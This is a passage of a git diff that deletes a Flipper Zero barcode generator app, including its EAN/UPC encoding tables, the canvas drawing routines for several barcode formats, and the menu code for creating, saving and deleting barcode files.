barcode_data); -void code_39_loader(BarcodeData* barcode_data); -void code_128_loader(BarcodeData* barcode_data); -void code_128c_loader(BarcodeData* barcode_data); -void codabar_loader(BarcodeData* barcode_data); -void barcode_loader(BarcodeData* barcode_data); diff --git a/applications/external/barcode_gen/encodings.c b/applications/external/barcode_gen/encodings.c deleted file mode 100644 index 764fde796..000000000 --- a/applications/external/barcode_gen/encodings.c +++ /dev/null @@ -1,52 +0,0 @@ -#include "encodings.h" - -const char EAN_13_STRUCTURE_CODES[10][6] = { - "LLLLLL", - "LLGLGG", - "LLGGLG", - "LLGGGL", - "LGLLGG", - "LGGLLG", - "LGGGLL", - "LGLGLG", - "LGLGGL", - "LGGLGL"}; - -const char UPC_EAN_L_CODES[10][8] = { - "0001101", // 0 - "0011001", // 1 - "0010011", // 2 - "0111101", // 3 - "0100011", // 4 - "0110001", // 5 - "0101111", // 6 - "0111011", // 7 - "0110111", // 8 - "0001011" // 9 -}; - -const char EAN_G_CODES[10][8] = { - "0100111", // 0 - "0110011", // 1 - "0011011", // 2 - "0100001", // 3 - "0011101", // 4 - "0111001", // 5 - "0000101", // 6 - "0010001", // 7 - "0001001", // 8 - "0010111" // 9 -}; - -const char UPC_EAN_R_CODES[10][8] = { - "1110010", // 0 - "1100110", // 1 - "1101100", // 2 - "1000010", // 3 - "1011100", // 4 - "1001110", // 5 - "1010000", // 6 - "1000100", // 7 - "1001000", // 8 - "1110100" // 9 -}; \ No newline at end of file diff --git a/applications/external/barcode_gen/encodings.h b/applications/external/barcode_gen/encodings.h deleted file mode 100644 index c5b8d61ff..000000000 --- a/applications/external/barcode_gen/encodings.h +++ /dev/null @@ -1,6 +0,0 @@ -#pragma once - -extern const char EAN_13_STRUCTURE_CODES[10][6]; -extern const char UPC_EAN_L_CODES[10][8]; -extern const char EAN_G_CODES[10][8]; -extern const char UPC_EAN_R_CODES[10][8]; \ No newline at end of file diff --git a/applications/external/barcode_gen/images/barcode_10.png b/applications/external/barcode_gen/images/barcode_10.png deleted file mode 100644 index 32d4971ad..000000000 Binary files a/applications/external/barcode_gen/images/barcode_10.png and /dev/null differ diff --git a/applications/external/barcode_gen/screenshots/Codabar Data Example.png b/applications/external/barcode_gen/screenshots/Codabar Data Example.png deleted file mode 100644 index 907dfd901..000000000 Binary files a/applications/external/barcode_gen/screenshots/Codabar Data Example.png and /dev/null differ diff --git a/applications/external/barcode_gen/screenshots/Creating Barcode.png b/applications/external/barcode_gen/screenshots/Creating Barcode.png deleted file mode 100644 index e976b5682..000000000 Binary files a/applications/external/barcode_gen/screenshots/Creating Barcode.png and /dev/null differ diff --git a/applications/external/barcode_gen/screenshots/Flipper Barcode.png b/applications/external/barcode_gen/screenshots/Flipper Barcode.png deleted file mode 100644 index a6758c621..000000000 Binary files a/applications/external/barcode_gen/screenshots/Flipper Barcode.png and /dev/null differ diff --git a/applications/external/barcode_gen/screenshots/Flipper Box Barcode.png b/applications/external/barcode_gen/screenshots/Flipper Box Barcode.png deleted file mode 100644 index 8dbd7d2a9..000000000 Binary files a/applications/external/barcode_gen/screenshots/Flipper Box Barcode.png and /dev/null differ diff --git a/applications/external/barcode_gen/views/barcode_view.c b/applications/external/barcode_gen/views/barcode_view.c deleted file mode 100644 index 55ab52046..000000000 --- a/applications/external/barcode_gen/views/barcode_view.c +++ /dev/null @@ -1,510 +0,0 @@ -#include "../barcode_app.h" -#include "barcode_view.h" -#include "../encodings.h" - -/** - * @brief Draws a single bit from a barcode at a specified location - * @param canvas - * @param bit a 1 or a 0 to signify a bit of data - * @param x the top left x coordinate - * @param y the top left y coordinate - * @param width the width of the bit - * @param height the height of the bit - */ -static void draw_bit(Canvas* canvas, int bit, int x, int y, int width, int height) { - if(bit == 1) { - canvas_set_color(canvas, ColorBlack); - } else { - canvas_set_color(canvas, ColorWhite); - } - canvas_draw_box(canvas, x, y, width, height); -} - -/** - * -*/ -static void draw_error_str(Canvas* canvas, const char* error) { - canvas_clear(canvas); - canvas_draw_str_aligned(canvas, 62, 30, AlignCenter, AlignCenter, error); -} - -/** - * @param bits a string of 1's and 0's - * @returns the x coordinate after the bits have been drawn, useful for drawing the next section of bits -*/ -static int draw_bits(Canvas* canvas, const char* bits, int x, int y, int width, int height) { - int bits_length = strlen(bits); - for(int i = 0; i < bits_length; i++) { - char c = bits[i]; - int num = c - '0'; - - draw_bit(canvas, num, x, y, width, height); - - x += width; - } - return x; -} - -/** - * Draws an EAN-8 type barcode, does not check if the barcode is valid - * @param canvas the canvas - * @param barcode_digits the digits in the barcode, must be 8 characters long -*/ -static void draw_ean_8(Canvas* canvas, BarcodeData* barcode_data) { - FuriString* barcode_digits = barcode_data->correct_data; - BarcodeTypeObj* type_obj = barcode_data->type_obj; - - int barcode_length = furi_string_size(barcode_digits); - - int x = type_obj->start_pos; - int y = BARCODE_Y_START; - int width = 1; - int height = BARCODE_HEIGHT; - - //the guard patterns for the beginning, center, ending - const char* end_bits = "101"; - const char* center_bits = "01010"; - - //draw the starting guard pattern - x = draw_bits(canvas, end_bits, x, y, width, height + 5); - - FuriString* code_part = furi_string_alloc(); - - //loop through each digit, find the encoding, and draw it - for(int i = 0; i < barcode_length; i++) { - char current_digit = furi_string_get_char(barcode_digits, i); - - //the actual number and the index of the bits - int index = current_digit - '0'; - //use the L-codes for the first 4 digits and the R-Codes for the last 4 digits - if(i <= 3) { - furi_string_set_str(code_part, UPC_EAN_L_CODES[index]); - } else { - furi_string_set_str(code_part, UPC_EAN_R_CODES[index]); - } - - //convert the current_digit char into a string so it can be printed - char current_digit_string[2]; - snprintf(current_digit_string, 2, "%c", current_digit); - - //set the canvas color to black to print the digit - canvas_set_color(canvas, ColorBlack); - canvas_draw_str(canvas, x + 1, y + height + 8, current_digit_string); - - //draw the bits of the barcode - x = draw_bits(canvas, furi_string_get_cstr(code_part), x, y, width, height); - - //if the index has reached 3, that means 4 digits have been drawn and now draw the center guard pattern - if(i == 3) { - x = draw_bits(canvas, center_bits, x, y, width, height + 5); - } - } - furi_string_free(code_part); - - //draw the ending guard pattern - x = draw_bits(canvas, end_bits, x, y, width, height + 5); -} - -static void draw_ean_13(Canvas* canvas, BarcodeData* barcode_data) { - FuriString* barcode_digits = barcode_data->correct_data; - BarcodeTypeObj* type_obj = barcode_data->type_obj; - - int barcode_length = furi_string_size(barcode_digits); - - int x = type_obj->start_pos; - int y = BARCODE_Y_START; - int width = 1; - int height = BARCODE_HEIGHT; - - //the guard patterns for the beginning, center, ending - const char* end_bits = "101"; - const char* center_bits = "01010"; - - //draw the starting guard pattern - x = draw_bits(canvas, end_bits, x, y, width, height + 5); - - FuriString* left_structure = furi_string_alloc(); - FuriString* code_part = furi_string_alloc(); - - //loop through each digit, find the encoding, and draw it - for(int i = 0; i < barcode_length; i++) { - char current_digit = furi_string_get_char(barcode_digits, i); - int index = current_digit - '0'; - - if(i == 0) { - furi_string_set_str(left_structure, EAN_13_STRUCTURE_CODES[index]); - - //convert the current_digit char into a string so it can be printed - char current_digit_string[2]; - snprintf(current_digit_string, 2, "%c", current_digit); - - //set the canvas color to black to print the digit - canvas_set_color(canvas, ColorBlack); - canvas_draw_str(canvas, x - 10, y + height + 8, current_digit_string); - - continue; - } else { - //use the L-codes for the first 6 digits and the R-Codes for the last 6 digits - if(i <= 6) { - //get the encoding type at the current barcode bit position - char encoding_type = furi_string_get_char(left_structure, i - 1); - if(encoding_type == 'L') { - furi_string_set_str(code_part, UPC_EAN_L_CODES[index]); - } else { - furi_string_set_str(code_part, EAN_G_CODES[index]); - } - } else { - furi_string_set_str(code_part, UPC_EAN_R_CODES[index]); - } - - //convert the current_digit char into a string so it can be printed - char current_digit_string[2]; - snprintf(current_digit_string, 2, "%c", current_digit); - - //set the canvas color to black to print the digit - canvas_set_color(canvas, ColorBlack); - canvas_draw_str(canvas, x + 1, y + height + 8, current_digit_string); - - //draw the bits of the barcode - x = draw_bits(canvas, furi_string_get_cstr(code_part), x, y, width, height); - - //if the index has reached 6, that means 6 digits have been drawn and we now draw the center guard pattern - if(i == 6) { - x = draw_bits(canvas, center_bits, x, y, width, height + 5); - } - } - } - - furi_string_free(left_structure); - furi_string_free(code_part); - - //draw the ending guard pattern - x = draw_bits(canvas, end_bits, x, y, width, height + 5); -} - -/** - * Draw a UPC-A barcode -*/ -static void draw_upc_a(Canvas* canvas, BarcodeData* barcode_data) { - FuriString* barcode_digits = barcode_data->correct_data; - BarcodeTypeObj* type_obj = barcode_data->type_obj; - - int barcode_length = furi_string_size(barcode_digits); - - int x = type_obj->start_pos; - int y = BARCODE_Y_START; - int width = 1; - int height = BARCODE_HEIGHT; - - //the guard patterns for the beginning, center, ending - char* end_bits = "101"; - char* center_bits = "01010"; - - //draw the starting guard pattern - x = draw_bits(canvas, end_bits, x, y, width, height + 5); - - FuriString* code_part = furi_string_alloc(); - - //loop through each digit, find the encoding, and draw it - for(int i = 0; i < barcode_length; i++) { - char current_digit = furi_string_get_char(barcode_digits, i); - int index = current_digit - '0'; //convert the number into an int (also the index) - - //use the L-codes for the first 6 digits and the R-Codes for the last 6 digits - if(i <= 5) { - furi_string_set_str(code_part, UPC_EAN_L_CODES[index]); - } else { - furi_string_set_str(code_part, UPC_EAN_R_CODES[index]); - } - - //convert the current_digit char into a string so it can be printed - char current_digit_string[2]; - snprintf(current_digit_string, 2, "%c", current_digit); - - //set the canvas color to black to print the digit - canvas_set_color(canvas, ColorBlack); - canvas_draw_str(canvas, x + 1, y + height + 8, current_digit_string); - - //draw the bits of the barcode - x = draw_bits(canvas, furi_string_get_cstr(code_part), x, y, width, height); - - //if the index has reached 6, that means 6 digits have been drawn and we now draw the center guard pattern - if(i == 5) { - x = draw_bits(canvas, center_bits, x, y, width, height + 5); - } - } - - furi_string_free(code_part); - - //draw the ending guard pattern - x = draw_bits(canvas, end_bits, x, y, width, height + 5); -} - -static void draw_code_39(Canvas* canvas, BarcodeData* barcode_data) { - FuriString* raw_data = barcode_data->raw_data; - FuriString* barcode_digits = barcode_data->correct_data; - //BarcodeTypeObj* type_obj = barcode_data->type_obj; - - int barcode_length = furi_string_size(barcode_digits); - int total_pixels = 0; - - for(int i = 0; i < barcode_length; i++) { - //1 for wide, 0 for narrow - char wide_or_narrow = furi_string_get_char(barcode_digits, i); - int wn_digit = wide_or_narrow - '0'; //wide(1) or narrow(0) digit - - if(wn_digit == 1) { - total_pixels += 3; - } else { - total_pixels += 1; - } - if((i + 1) % 9 == 0) { - total_pixels += 1; - } - } - - int x = (128 - total_pixels) / 2; - int y = BARCODE_Y_START; - int width = 1; - int height = BARCODE_HEIGHT; - bool filled_in = true; - - //set the canvas color to black to print the digit - canvas_set_color(canvas, ColorBlack); - // canvas_draw_str_aligned(canvas, 62, 30, AlignCenter, AlignCenter, error); - canvas_draw_str_aligned( - canvas, 62, y + height + 8, AlignCenter, AlignBottom, furi_string_get_cstr(raw_data)); - - for(int i = 0; i < barcode_length; i++) { - //1 for wide, 0 for narrow - char wide_or_narrow = furi_string_get_char(barcode_digits, i); - int wn_digit = wide_or_narrow - '0'; //wide(1) or narrow(0) digit - - if(filled_in) { - if(wn_digit == 1) { - x = draw_bits(canvas, "111", x, y, width, height); - } else { - x = draw_bits(canvas, "1", x, y, width, height); - } - filled_in = false; - } else { - if(wn_digit == 1) { - x = draw_bits(canvas, "000", x, y, width, height); - } else { - x = draw_bits(canvas, "0", x, y, width, height); - } - filled_in = true; - } - if((i + 1) % 9 == 0) { - x = draw_bits(canvas, "0", x, y, width, height); - filled_in = true; - } - } -} - -static void draw_code_128(Canvas* canvas, BarcodeData* barcode_data) { - FuriString* raw_data = barcode_data->raw_data; - FuriString* barcode_digits = barcode_data->correct_data; - - int barcode_length = furi_string_size(barcode_digits); - - int x = (128 - barcode_length) / 2; - int y = BARCODE_Y_START; - int width = 1; - int height = BARCODE_HEIGHT; - - x = draw_bits(canvas, furi_string_get_cstr(barcode_digits), x, y, width, height); - - //set the canvas color to black to print the digit - canvas_set_color(canvas, ColorBlack); - // canvas_draw_str_aligned(canvas, 62, 30, AlignCenter, AlignCenter, error); - canvas_draw_str_aligned( - canvas, 62, y + height + 8, AlignCenter, AlignBottom, furi_string_get_cstr(raw_data)); -} - -static void draw_codabar(Canvas* canvas, BarcodeData* barcode_data) { - FuriString* raw_data = barcode_data->raw_data; - FuriString* barcode_digits = barcode_data->correct_data; - //BarcodeTypeObj* type_obj = barcode_data->type_obj; - - int barcode_length = furi_string_size(barcode_digits); - int total_pixels = 0; - - for(int i = 0; i < barcode_length; i++) { - //1 for wide, 0 for narrow - char wide_or_narrow = furi_string_get_char(barcode_digits, i); - int wn_digit = wide_or_narrow - '0'; //wide(1) or narrow(0) digit - - if(wn_digit == 1) { - total_pixels += 3; - } else { - total_pixels += 1; - } - if((i + 1) % 7 == 0) { - total_pixels += 1; - } - } - - int x = (128 - total_pixels) / 2; - int y = BARCODE_Y_START; - int width = 1; - int height = BARCODE_HEIGHT; - bool filled_in = true; - - //set the canvas color to black to print the digit - canvas_set_color(canvas, ColorBlack); - // canvas_draw_str_aligned(canvas, 62, 30, AlignCenter, AlignCenter, error); - canvas_draw_str_aligned( - canvas, 62, y + height + 8, AlignCenter, AlignBottom, furi_string_get_cstr(raw_data)); - - for(int i = 0; i < barcode_length; i++) { - //1 for wide, 0 for narrow - char wide_or_narrow = furi_string_get_char(barcode_digits, i); - int wn_digit = wide_or_narrow - '0'; //wide(1) or narrow(0) digit - - if(filled_in) { - if(wn_digit == 1) { - x = draw_bits(canvas, "111", x, y, width, height); - } else { - x = draw_bits(canvas, "1", x, y, width, height); - } - filled_in = false; - } else { - if(wn_digit == 1) { - x = draw_bits(canvas, "000", x, y, width, height); - } else { - x = draw_bits(canvas, "0", x, y, width, height); - } - filled_in = true; - } - if((i + 1) % 7 == 0) { - x = draw_bits(canvas, "0", x, y, width, height); - filled_in = true; - } - } -} - -static void barcode_draw_callback(Canvas* canvas, void* ctx) { - furi_assert(ctx); - BarcodeModel* barcode_model = ctx; - BarcodeData* data = barcode_model->data; - // const char* barcode_digits =; - - canvas_clear(canvas); - if(data->valid) { - switch(data->type_obj->type) { - case UPCA: - draw_upc_a(canvas, data); - break; - case EAN8: - draw_ean_8(canvas, data); - break; - case EAN13: - draw_ean_13(canvas, data); - break; - case CODE39: - draw_code_39(canvas, data); - break; - case CODE128: - case CODE128C: - draw_code_128(canvas, data); - break; - case CODABAR: - draw_codabar(canvas, data); - break; - case UNKNOWN: - default: - break; - } - } else { - switch(data->reason) { - case WrongNumberOfDigits: - draw_error_str(canvas, "Wrong # of characters"); - break; - case InvalidCharacters: - draw_error_str(canvas, "Invalid characters"); - break; - case UnsupportedType: - draw_error_str(canvas, "Unsupported barcode type"); - break; - case FileOpening: - draw_error_str(canvas, "Could not open file"); - break; - case InvalidFileData: - draw_error_str(canvas, "Invalid file data"); - break; - case MissingEncodingTable: - draw_error_str(canvas, "Missing encoding table"); - break; - case EncodingTableError: - draw_error_str(canvas, "Encoding table error"); - break; - default: - draw_error_str(canvas, "Could not read barcode data"); - break; - } - } -} - -bool barcode_input_callback(InputEvent* input_event, void* ctx) { - UNUSED(ctx); - //furi_assert(ctx); - - //Barcode* test_view_object = ctx; - - if(input_event->key == InputKeyBack) { - return false; - } else { - return true; - } -} - -Barcode* barcode_view_allocate(BarcodeApp* barcode_app) { - furi_assert(barcode_app); - - Barcode* barcode = malloc(sizeof(Barcode)); - - barcode->view = view_alloc(); - barcode->barcode_app = barcode_app; - - view_set_context(barcode->view, barcode); - view_allocate_model(barcode->view, ViewModelTypeLocking, sizeof(BarcodeModel)); - view_set_draw_callback(barcode->view, barcode_draw_callback); - view_set_input_callback(barcode->view, barcode_input_callback); - - return barcode; -} - -void barcode_free_model(Barcode* barcode) { - with_view_model( - barcode->view, - BarcodeModel * model, - { - if(model->file_path != NULL) { - furi_string_free(model->file_path); - } - if(model->data != NULL) { - if(model->data->raw_data != NULL) { - furi_string_free(model->data->raw_data); - } - if(model->data->correct_data != NULL) { - furi_string_free(model->data->correct_data); - } - free(model->data); - } - }, - false); -} - -void barcode_free(Barcode* barcode) { - furi_assert(barcode); - - barcode_free_model(barcode); - view_free(barcode->view); - free(barcode); -} - -View* barcode_get_view(Barcode* barcode) { - furi_assert(barcode); - return barcode->view; -} diff --git a/applications/external/barcode_gen/views/barcode_view.h b/applications/external/barcode_gen/views/barcode_view.h deleted file mode 100644 index 828428c08..000000000 --- a/applications/external/barcode_gen/views/barcode_view.h +++ /dev/null @@ -1,23 +0,0 @@ -#pragma once - -#include - -typedef struct BarcodeApp BarcodeApp; - -typedef struct { - View* view; - BarcodeApp* barcode_app; -} Barcode; - -typedef struct { - FuriString* file_path; - BarcodeData* data; -} BarcodeModel; - -Barcode* barcode_view_allocate(BarcodeApp* barcode_app); - -void barcode_free_model(Barcode* barcode); - -void barcode_free(Barcode* barcode); - -View* barcode_get_view(Barcode* barcode); diff --git a/applications/external/barcode_gen/views/create_view.c b/applications/external/barcode_gen/views/create_view.c deleted file mode 100644 index e4e489113..000000000 --- a/applications/external/barcode_gen/views/create_view.c +++ /dev/null @@ -1,494 +0,0 @@ -#include "../barcode_app.h" -#include "create_view.h" -#include - -#define LINE_HEIGHT 16 -#define TEXT_PADDING 4 -#define TOTAL_MENU_ITEMS 5 - -typedef enum { - TypeMenuItem, - FileNameMenuItem, - BarcodeDataMenuItem, - SaveMenuButton, - DeleteMenuButton -} MenuItems; - -/** - * Took this function from blackjack - * @author @teeebor -*/ -void draw_menu_item( - Canvas* const canvas, - const char* text, - const char* value, - int y, - bool left_caret, - bool right_caret, - bool selected) { - UNUSED(selected); - if(y < 0 || y >= 64) { - return; - } - - if(selected) { - canvas_set_color(canvas, ColorBlack); - canvas_draw_box(canvas, 0, y, 123, LINE_HEIGHT); - canvas_set_color(canvas, ColorWhite); - } - - canvas_draw_str_aligned(canvas, 4, y + TEXT_PADDING, AlignLeft, AlignTop, text); - if(left_caret) { - canvas_draw_str_aligned(canvas, 60, y + TEXT_PADDING, AlignLeft, AlignTop, "<"); - } - - canvas_draw_str_aligned(canvas, 90, y + TEXT_PADDING, AlignCenter, AlignTop, value); - if(right_caret) { - canvas_draw_str_aligned(canvas, 120, y + TEXT_PADDING, AlignRight, AlignTop, ">"); - } - - canvas_set_color(canvas, ColorBlack); -} - -void draw_button(Canvas* const canvas, const char* text, int y, bool selected) { - if(selected) { - canvas_set_color(canvas, ColorBlack); - canvas_draw_box(canvas, 0, y, 123, LINE_HEIGHT); - canvas_set_color(canvas, ColorWhite); - } - - canvas_draw_str_aligned(canvas, 64, y + TEXT_PADDING, AlignCenter, AlignTop, text); - - canvas_set_color(canvas, ColorBlack); -} - -static void app_draw_callback(Canvas* canvas, void* ctx) { - furi_assert(ctx); - - CreateViewModel* create_view_model = ctx; - - BarcodeTypeObj* type_obj = create_view_model->barcode_type; - if(create_view_model->barcode_type == NULL) { - return; - } - BarcodeType selected_type = type_obj->type; - - int selected_menu_item = create_view_model->selected_menu_item; - - int total_menu_items = create_view_model->mode == EditMode ? TOTAL_MENU_ITEMS : - TOTAL_MENU_ITEMS - 1; - - int startY = 0; - - //the menu items index that is/would be in view - //int current_last_menu_item = selected_menu_item + 3; - if(selected_menu_item > 1) { - int offset = 2; - if(selected_menu_item + offset > total_menu_items) { - offset = 3; - } - startY -= (LINE_HEIGHT * (selected_menu_item - offset)); - } - - //ensure that the scroll height is atleast 1 - int scrollHeight = ceil(64.0 / total_menu_items); - int scrollPos = scrollHeight * selected_menu_item; - - canvas_set_color(canvas, ColorBlack); - //draw the scroll bar box - canvas_draw_box(canvas, 125, scrollPos, 3, scrollHeight); - //draw the scroll bar track - canvas_draw_box(canvas, 126, 0, 1, 64); - - draw_menu_item( - canvas, - "Type", - type_obj->name, - TypeMenuItem * LINE_HEIGHT + startY, - selected_type > 0, - selected_type < NUMBER_OF_BARCODE_TYPES - 2, - selected_menu_item == TypeMenuItem); - - draw_menu_item( - canvas, - "Name", - furi_string_empty(create_view_model->file_name) ? - "--" : - furi_string_get_cstr(create_view_model->file_name), - FileNameMenuItem * LINE_HEIGHT + startY, - false, - false, - selected_menu_item == FileNameMenuItem); - - draw_menu_item( - canvas, - "Data", - furi_string_empty(create_view_model->barcode_data) ? - "--" : - furi_string_get_cstr(create_view_model->barcode_data), - BarcodeDataMenuItem * LINE_HEIGHT + startY, - false, - false, - selected_menu_item == BarcodeDataMenuItem); - - draw_button( - canvas, - "Save", - SaveMenuButton * LINE_HEIGHT + startY, - selected_menu_item == SaveMenuButton); - - if(create_view_model->mode == EditMode) { - draw_button( - canvas, - "Delete", - DeleteMenuButton * LINE_HEIGHT + startY, - selected_menu_item == DeleteMenuButton); - } -} - -void text_input_callback(void* ctx) { - CreateView* create_view_object = ctx; - - with_view_model( - create_view_object->view, - CreateViewModel * model, - { - if(create_view_object->setter == FileNameSetter) { - furi_string_set_str(model->file_name, create_view_object->input); - } - if(create_view_object->setter == BarcodeDataSetter) { - furi_string_set_str(model->barcode_data, create_view_object->input); - } - }, - true); - - view_dispatcher_switch_to_view( - create_view_object->barcode_app->view_dispatcher, CreateBarcodeView); -} - -static bool app_input_callback(InputEvent* input_event, void* ctx) { - furi_assert(ctx); - - if(input_event->key == InputKeyBack) { - return false; - } - - CreateView* create_view_object = ctx; - - //get the currently selected menu item from the model - int selected_menu_item = 0; - BarcodeTypeObj* barcode_type = NULL; - FuriString* file_name; - FuriString* barcode_data; - CreateMode mode; - - with_view_model( - create_view_object->view, - CreateViewModel * model, - { - selected_menu_item = model->selected_menu_item; - barcode_type = model->barcode_type; - file_name = model->file_name; - barcode_data = model->barcode_data; - mode = model->mode; - }, - true); - - int total_menu_items = mode == EditMode ? TOTAL_MENU_ITEMS : TOTAL_MENU_ITEMS - 1; - - if(input_event->type == InputTypePress) { - if(input_event->key == InputKeyUp && selected_menu_item > 0) { - selected_menu_item--; - } else if(input_event->key == InputKeyDown && selected_menu_item < total_menu_items - 1) { - selected_menu_item++; - } else if(input_event->key == InputKeyLeft) { - if(selected_menu_item == TypeMenuItem && barcode_type != NULL) { //Select Barcode Type - if(barcode_type->type > 0) { - barcode_type = barcode_type_objs[barcode_type->type - 1]; - } - } - } else if(input_event->key == InputKeyRight) { - if(selected_menu_item == TypeMenuItem && barcode_type != NULL) { //Select Barcode Type - if(barcode_type->type < NUMBER_OF_BARCODE_TYPES - 2) { - barcode_type = barcode_type_objs[barcode_type->type + 1]; - } - } - } else if(input_event->key == InputKeyOk) { - if(selected_menu_item == FileNameMenuItem && barcode_type != NULL) { - create_view_object->setter = FileNameSetter; - - snprintf( - create_view_object->input, - sizeof(create_view_object->input), - "%s", - furi_string_get_cstr(file_name)); - - text_input_set_result_callback( - create_view_object->barcode_app->text_input, - text_input_callback, - create_view_object, - create_view_object->input, - TEXT_BUFFER_SIZE - BARCODE_EXTENSION_LENGTH, //remove the barcode length - //clear default text - false); - text_input_set_header_text( - create_view_object->barcode_app->text_input, "File Name"); - - view_dispatcher_switch_to_view( - create_view_object->barcode_app->view_dispatcher, TextInputView); - } - if(selected_menu_item == BarcodeDataMenuItem && barcode_type != NULL) { - create_view_object->setter = BarcodeDataSetter; - - snprintf( - create_view_object->input, - sizeof(create_view_object->input), - "%s", - furi_string_get_cstr(barcode_data)); - - text_input_set_result_callback( - create_view_object->barcode_app->text_input, - text_input_callback, - create_view_object, - create_view_object->input, - TEXT_BUFFER_SIZE, - //clear default text - false); - text_input_set_header_text( - create_view_object->barcode_app->text_input, "Barcode Data"); - - view_dispatcher_switch_to_view( - create_view_object->barcode_app->view_dispatcher, TextInputView); - } - if(selected_menu_item == SaveMenuButton && barcode_type != NULL) { - save_barcode(create_view_object); - } - if(selected_menu_item == DeleteMenuButton && barcode_type != NULL) { - if(mode == EditMode) { - remove_barcode(create_view_object); - } else if(mode == NewMode) { - view_dispatcher_switch_to_view( - create_view_object->barcode_app->view_dispatcher, MainMenuView); - } - } - } - } - - //change the currently selected menu item - with_view_model( - create_view_object->view, - CreateViewModel * model, - { - model->selected_menu_item = selected_menu_item; - model->barcode_type = barcode_type; - }, - true); - - return true; -} - -CreateView* create_view_allocate(BarcodeApp* barcode_app) { - furi_assert(barcode_app); - - CreateView* create_view_object = malloc(sizeof(CreateView)); - - create_view_object->view = view_alloc(); - create_view_object->barcode_app = barcode_app; - - view_set_context(create_view_object->view, create_view_object); - view_allocate_model(create_view_object->view, ViewModelTypeLocking, sizeof(CreateViewModel)); - view_set_draw_callback(create_view_object->view, app_draw_callback); - view_set_input_callback(create_view_object->view, app_input_callback); - - return create_view_object; -} - -void create_view_free_model(CreateView* create_view_object) { - with_view_model( - create_view_object->view, - CreateViewModel * model, - { - if(model->file_path != NULL) { - furi_string_free(model->file_path); - } - if(model->file_name != NULL) { - furi_string_free(model->file_name); - } - if(model->barcode_data != NULL) { - furi_string_free(model->barcode_data); - } - }, - true); -} - -void remove_barcode(CreateView* create_view_object) { - Storage* storage = furi_record_open(RECORD_STORAGE); - - bool success = false; - - with_view_model( - create_view_object->view, - CreateViewModel * model, - { - FURI_LOG_I(TAG, "Attempting to remove file"); - if(model->file_path != NULL) { - FURI_LOG_I(TAG, "Removing File: %s", furi_string_get_cstr(model->file_path)); - if(storage_simply_remove(storage, furi_string_get_cstr(model->file_path))) { - FURI_LOG_I( - TAG, - "File: \"%s\" was successfully removed", - furi_string_get_cstr(model->file_path)); - success = true; - } else { - FURI_LOG_E(TAG, "Unable to remove file!"); - success = false; - } - } else { - FURI_LOG_E(TAG, "Could not remove barcode file"); - success = false; - } - }, - true); - furi_record_close(RECORD_STORAGE); - - with_view_model( - create_view_object->barcode_app->message_view->view, - MessageViewModel * model, - { - if(success) { - model->message = "File Deleted"; - } else { - model->message = "Could not delete file"; - } - }, - true); - - view_dispatcher_switch_to_view( - create_view_object->barcode_app->view_dispatcher, MessageErrorView); -} - -void save_barcode(CreateView* create_view_object) { - BarcodeTypeObj* barcode_type = NULL; - FuriString* file_path; //this may be empty - FuriString* file_name; - FuriString* barcode_data; - CreateMode mode; - - with_view_model( - create_view_object->view, - CreateViewModel * model, - { - file_path = model->file_path; - file_name = model->file_name; - barcode_data = model->barcode_data; - barcode_type = model->barcode_type; - mode = model->mode; - }, - true); - - if(file_name == NULL || furi_string_empty(file_name)) { - FURI_LOG_E(TAG, "File Name cannot be empty"); - return; - } - if(barcode_data == NULL || furi_string_empty(barcode_data)) { - FURI_LOG_E(TAG, "Barcode Data cannot be empty"); - return; - } - if(barcode_type == NULL) { - FURI_LOG_E(TAG, "Type not defined"); - return; - } - - bool success = false; - - FuriString* full_file_path = furi_string_alloc_set(DEFAULT_USER_BARCODES); - furi_string_push_back(full_file_path, '/'); - furi_string_cat(full_file_path, file_name); - furi_string_cat_str(full_file_path, BARCODE_EXTENSION); - - Storage* storage = furi_record_open(RECORD_STORAGE); - - if(mode == EditMode) { - if(!furi_string_empty(file_path)) { - if(!furi_string_equal(file_path, full_file_path)) { - FS_Error error = storage_common_rename( - storage, - furi_string_get_cstr(file_path), - furi_string_get_cstr(full_file_path)); - if(error != FSE_OK) { - FURI_LOG_E(TAG, "Rename error: %s", storage_error_get_desc(error)); - } else { - FURI_LOG_I(TAG, "Rename Success"); - } - } - } - } - - FlipperFormat* ff = flipper_format_file_alloc(storage); - - FURI_LOG_I(TAG, "Saving Barcode to: %s", furi_string_get_cstr(full_file_path)); - - bool file_opened_status = false; - if(mode == NewMode) { - file_opened_status = - flipper_format_file_open_new(ff, furi_string_get_cstr(full_file_path)); - } else if(mode == EditMode) { - file_opened_status = - flipper_format_file_open_always(ff, furi_string_get_cstr(full_file_path)); - } - - if(file_opened_status) { - // Filetype: Barcode - // Version: 1 - - // # Types - UPC-A, EAN-8, EAN-13, CODE-39 - // Type: CODE-39 - // Data: AB - flipper_format_write_string_cstr(ff, "Filetype", "Barcode"); - - flipper_format_write_string_cstr(ff, "Version", FILE_VERSION); - - flipper_format_write_comment_cstr( - ff, "Types - UPC-A, EAN-8, EAN-13, CODE-39, CODE-128, Codabar"); - - flipper_format_write_string_cstr(ff, "Type", barcode_type->name); - - flipper_format_write_string_cstr(ff, "Data", furi_string_get_cstr(barcode_data)); - - success = true; - } else { - FURI_LOG_E(TAG, "Save error"); - success = false; - } - furi_string_free(full_file_path); - flipper_format_free(ff); - furi_record_close(RECORD_STORAGE); - - with_view_model( - create_view_object->barcode_app->message_view->view, - MessageViewModel * model, - { - if(success) { - model->message = "File Saved!"; - } else { - model->message = "A saving error has occurred"; - } - }, - true); - - view_dispatcher_switch_to_view( - create_view_object->barcode_app->view_dispatcher, MessageErrorView); -} - -void create_view_free(CreateView* create_view_object) { - furi_assert(create_view_object); - - create_view_free_model(create_view_object); - view_free(create_view_object->view); - free(create_view_object); -} - -View* create_get_view(CreateView* create_view_object) { - furi_assert(create_view_object); - return create_view_object->view; -} \ No newline at end of file diff --git a/applications/external/barcode_gen/views/create_view.h b/applications/external/barcode_gen/views/create_view.h deleted file mode 100644 index 6063786d9..000000000 --- a/applications/external/barcode_gen/views/create_view.h +++ /dev/null @@ -1,46 +0,0 @@ -#pragma once - -#include - -typedef struct BarcodeApp BarcodeApp; - -typedef enum { - FileNameSetter, - BarcodeDataSetter -} InputSetter; //what value to set for the text input view - -typedef enum { - EditMode, - - NewMode -} CreateMode; - -typedef struct { - View* view; - BarcodeApp* barcode_app; - - InputSetter setter; - char input[TEXT_BUFFER_SIZE]; -} CreateView; - -typedef struct { - int selected_menu_item; - - CreateMode mode; - BarcodeTypeObj* barcode_type; - FuriString* file_path; //the current file that is opened - FuriString* file_name; - FuriString* barcode_data; -} CreateViewModel; - -CreateView* create_view_allocate(BarcodeApp* barcode_app); - -void remove_barcode(CreateView* create_view_object); - -void save_barcode(CreateView* 